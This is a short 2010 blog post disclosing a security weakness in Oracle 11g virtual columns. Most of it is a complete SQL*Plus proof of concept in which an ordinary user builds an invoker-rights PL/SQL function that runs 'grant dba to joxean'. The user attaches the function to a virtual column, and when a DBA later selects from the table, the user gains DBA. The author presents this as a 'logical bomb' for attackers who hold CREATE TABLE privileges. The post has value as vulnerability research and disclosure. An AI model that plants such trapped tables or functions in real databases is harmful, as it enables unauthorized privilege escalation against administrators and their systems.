Dangers of Oracle Virtual Columns

2010, May 14    

Virtual Columns is a new feature of Oracle 11g. This feature allows to create table columns based on PL/SQL functions. While it’s useful it can be dangerous too.

What happens if someone creates a table column based on a “malicious” PL/SQL function? What happens when someone selects data from a table with a virtual column that executes a GRANT command? If the user executing the query is a normal user, the function will fail, however, if the user is privileged, the code will be executed and the DBA privilege will be granted to the user “JOXEAN”, like in the following sample:

SQL> create user joxean identified by joxean;
  1. User created.
  2.  
  3. SQL> GRANT connect, resource TO joxean;
  4. GRANT succeeded.
  5.  
  6. SQL> conn joxean/joxean
  7. Connected.
  8. SQL> CREATE OR REPLACE FUNCTION F1 (p_value IN VARCHAR2)
  9.   RETURN VARCHAR2 AUTHID CURRENT_USER deterministic
  10. AS
  11.   PRAGMA AUTONOMOUS_TRANSACTION;
  12. BEGIN
  13.   EXECUTE IMMEDIATE 'grant dba to joxean';
  14.   RETURN '1';
  15. END F1;
  16. /
  17. FUNCTION created.
  18.  
  19. SQL> CREATE TABLE t2
  20. (
  21.   col1 VARCHAR2(50),
  22.   col2 generated always AS (f1('asdf')) virtual
  23. );
  24. TABLE created.
  25.  
  26. SQL> SELECT * FROM t2;
  27. no rows selected
  28.  
  29. SQL> INSERT INTO t2 (col1) VALUES ( 'a' );
  30. 1 row created.
  31.  
  32. SQL> commit;
  33. Commit complete.
  34.  
  35. SQL> SELECT * FROM t2;
  36. SELECT * FROM t2
  37. *
  38. ERROR at line 1:
  39. ORA-01031: insufficient privileges
  40. ORA-06512: at "JOXEAN.F1", line 6
  41.  
  42. SQL> SELECT * FROM user_role_privs;
  43.  
  44. USERNAME         GRANTED_ROLE        ADM DEF OS_
  45. —————————— —————————— — — —
  46. JOXEAN          CONNECT         NO  YES NO
  47. JOXEAN          RESOURCE         NO  YES NO
  48.  
  49. SQL> conn / AS sysdba
  50. Connected.
  51. SQL> SELECT * FROM joxean.t2;
  52.  
  53. COL1   COL2
  54. —– —–
  55. a         1
  56.  
  57. SQL> SELECT * FROM dba_role_privs WHERE grantee = 'JOXEAN';
  58.  
  59. GRANTEE          GRANTED_ROLE        ADM DEF
  60. —————————— —————————— — —
  61. JOXEAN          RESOURCE         NO  YES
  62. JOXEAN          DBA         NO  YES
  63. JOXEAN          CONNECT         NO  YES

While it isn’t a big issue it can be used as a “logical bomb” by an atacker with CREATE TABLE privileges: Simply create a table with an interesting name and wait for DBA to select data from this table 😉 Oh! By the way, to create a permanent table you only need to have the privilege to create a temporary table… But this is another history 😉

Mastodon.social Twitter Facebook Google+
# Oracle